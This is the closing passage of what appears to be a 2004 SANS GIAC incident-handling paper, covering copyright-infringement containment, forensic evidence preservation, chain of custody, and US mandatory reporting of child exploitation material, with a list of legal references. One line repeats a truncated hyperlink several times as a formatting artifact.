Containment issues specific to copyright infringement cases

One consideration in the containment of copyrighted material is to ensure that the rights of the copyright owner are not infringed upon according to Title 17. A precedent for the fair use of copyrighted materials in legal arbitrations was set by (*Bond v. Blum,* 4th Cir., No. 02-1139, 1/24/03) where the use of copyrighted material was allowed due solely to its content, instead of its mode of expression as decided by the U.S. Court of Appeals for the Fourth Circuit<sup>26</sup>.

Documentation and Evidence Handling:

It is also critical to ensure that appropriately detailed and complete notes document the incident from the identification through the eradication phase. All evidence and notes should be secured in a fashion such that a non-interrupted chain of custody exists. While it is important to take comprehensive notes, it's important to remember that all notes will likely be considered discoverable by the defendant.

Reporting to Authorities, Affected Parties:

For cases involving copyright infringement in the United States, contacting law enforcement authorities and affected parties (copyright owners) is optional.

#### Eradication

Eradicating copyright violations should include removal and quarantine of illegally distributed the copyrighted material and discipline invocation on the offenders in accordance with corporate information security policies.

#### Lessons Learned

As copyright violation incidents are detected and resolved, a continuous improvement process should document ways for management and incident handling personnel to continuously update the operational processes that facilitate the corporate incident
handling processes<sup>11</sup>. One part of this plan should include the holding of post-mortems within some reasonable amount of time after the incident.

# **Evidence Preservation Strategies for Possible Future Action** *within the United States*

# Media & Content Integrity Considerations

Evidence that is collected should be duplicated prior to analysis. The original evidence should never be touched for any other purpose than to make an original duplication. This duplication should then be used for the purpose of making other duplications for forensic analysis. The original and the duplicate should be handled based upon the chain of custody considerations below. Files and drive images should have message digest hashes (such as md5sum) taken immediately after seizure.

# **Chain of Custody Considerations**

To eliminate doubt regarding authenticity and to ensure confidence in the lack of alteration, chain of evidence custody should initiate as soon as evidence is collected<sup>17</sup>. All evidence in a case should be collected and tagged with an evidence identification number. Access to all evidence must be controlled at all times. Any change in possession of the evidence must be accompanied with appropriate times, transferring owners/recipients, and justifications. Chain of custody should be maintained at least until there is no conceivable or feasible need for prosecution purposes based upon statutes of limitation, and/or business need.

In the case of copyrighted material, it will be critical to prohibit unauthorized access to material that might constitute an infringement violation itself.

### **Best Evidence Considerations**

For admissibility in court it must be relevant to the case and facilitate leading arbitration to conclusion. Questionable evidence can be extremely detrimental during civil and criminal cases. Original copies are considered best evidence and should be used if possible<sup>16</sup>.

# Incident Response Requirements for cases Involving the Sexual Exploitation of Minors

### **Preparation Considerations**

Differences in preparation should include education to system administrators and system operators regarding 42 U.S.C. Section 13032, which states that child pornography must be reported immediately.

# **Identification Considerations**

Identification for cases involving the sexual exploitation of minors or child pornography requires anyone who notices evidence of such activities while in the support of electronic communications services report the activities to authorities( at <a href="http://www.missingkids.com/">http://www.missingkids.com/</a> or specifically <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/</a> or specifically <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou</a> <a href="http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCou">http://www.missingkids/servlet/PageServlet?LanguageCou</a>

within a reasonable period of time. The following passage from 42 U.S.C. Section 13032 Subsection (b)(1) states that

"Whoever, while engaged in providing an electronic communication service or a remote computing service to the public, through a facility or means of interstate or foreign commerce, obtains knowledge of facts or circumstances from which a violation of section 2251, 2251A, 2252, 2252A, or 2260 of title 18, involving child pornography (as defined in section 2256 of that title), is apparent, shall, as soon as reasonably possible, make a report of such facts or circumstances to the Cyber Tip Line at the National Center for Missing and Exploited Children(<u>http://www.missingkids.com/</u>), which shall forward that report to a law enforcement agency or agencies designated by the Attorney General"<sup>24</sup>.

Where the definition of 'electronic communication service' is given in 18 U.S.C Section 2510:

"electronic communication service" means any service which provides to users thereof the ability to send or receive wire or electronic communications <sup>25</sup>

The interpretation of these two passages directly applies to any instance where child pornography is being distributed to the public. Those who identify this activity are compelled to report to the Cyber Tip Line at the National Center for Missing and Exploited Children as soon as reasonably possible, penalties for not doing so are

"A provider of electronic communication services or remote computing services described in paragraph (1) who knowingly and willfully fails to make a report under that paragraph shall be fined in the case of an initial failure to make a report, not more than \$50,000; and in the case of any second or subsequent failure to make a report, not more than \$100,000."

Protections provided for electronic service providers are summarized in 42 U.S.C. Section 13032 Subsection (c):

"No provider or user of an electronic communication service or a remote computing service to the public shall be held liable on account of any action taken in good faith to comply with this section."

This immunizes any person taking actions to comply by notifying the appropriate authorities.

In summary, anyone should report cases of evidence suggesting the exploitation of minors to the aforementioned authorities, or local authorities immediately.

Due to the liability involved in not reporting, management notification should not gate reporting. Corporate security policy should reflect this need preemptively and state that employees who notice such activity should not gate reporting by notification of management.

# **Containment Considerations**

The incident handler will be required to work with authorities in the collection of evidence. As authorities will be less able to work with a business in ways that ensure a minimization of business impact, management should be informed of additional demands that may be required, and acknowledgement of this should be stated in security policy. For situations where the Authorities have to seize the hardware, it can be requested that critical data and programs be backed-up prior to system removal<sup>21</sup>.

# Legal References

1 US Title 17: http://www4.law.cornell.edu/uscode/17/ 2 US Title 17 Section 101: http://www4.law.cornell.edu/uscode/17/101.html 3 Copyright Basics: http://www.copyright.gov/circs/circ1.html 4 US Title 17 Section 501: http://www4.law.cornell.edu/uscode/17/501.html 5 US Title 17 Section 1101: http://www4.law.cornell.edu/uscode/17/1101.html 6 US Title 17 Section 106: http://www4.law.cornell.edu/uscode/17/106.html 7 US Title 17 Section 107: http://www4.law.cornell.edu/uscode/17/107.html 8 US Title 17 Section 109: http://www4.law.cornell.edu/uscode/17/109.html 9 US Title 17 Section 114: http://www4.law.cornell.edu/uscode/17/114.html 10 US Title 17 Section 117: http://www4.law.cornell.edu/uscode/17/117.html 11 SANS System Incident Handling Step-by-Step and Computer Crime Investigation Courseware 4.1, p.196 12 http://www4.law.cornell.edu/uscode/17/501.html 13 US Title 17 Section 504: http://www4.law.cornell.edu/uscode/17/504.html 14 US Title 17 Section 512: http://www4.law.cornell.edu/uscode/17/512.html 15 SANS Frameworks and Best Practices: Managerial and Legal Issues: Courseware 8.5, pg. 3-45 16 http://www.issa-dv.org/meetings/web/2001/07DEC01/38 17 http://www.issa-dv.org/meetings/web/2001/07DEC01/45 18 http://www.usdoj.gov/criminal/ceos/report.htm 19 http://www.usdoj.gov/criminal/ceos/index.html 20 http://www.usdoj.gov/criminal/ceos/statutes.htm 21 Mendell, Ronald. Incident Management with Law Enforcement. URL: http://www.securityfocus.com/infocus/1523.2001 22 US Title 18 Section 2258: http://www4.law.cornell.edu/uscode/18/2258.html 23 US Title 42 Section 13001: http://www4.law.cornell.edu/uscode/42/13001.html 24 US Title 42 Section 13032:http://www4.law.cornell.edu/uscode/42/13032.html

25 US Title 18 Section 2510: <u>http://www4.law.cornell.edu/uscode/18/2510.html</u> 26 <u>http://ipcenter.bna.com/pic2/ip.nsf/id/BNAP-5JBRAL?OpenDocument</u> 27 <u>http://www.copyright.gov/legislation/dmca.pdf</u>

Jason\_B\_Anderson\_GCFA © SANS Institute 2004,

As part of GIAC practical repository.

Page 111 of 111 Author retains full rights.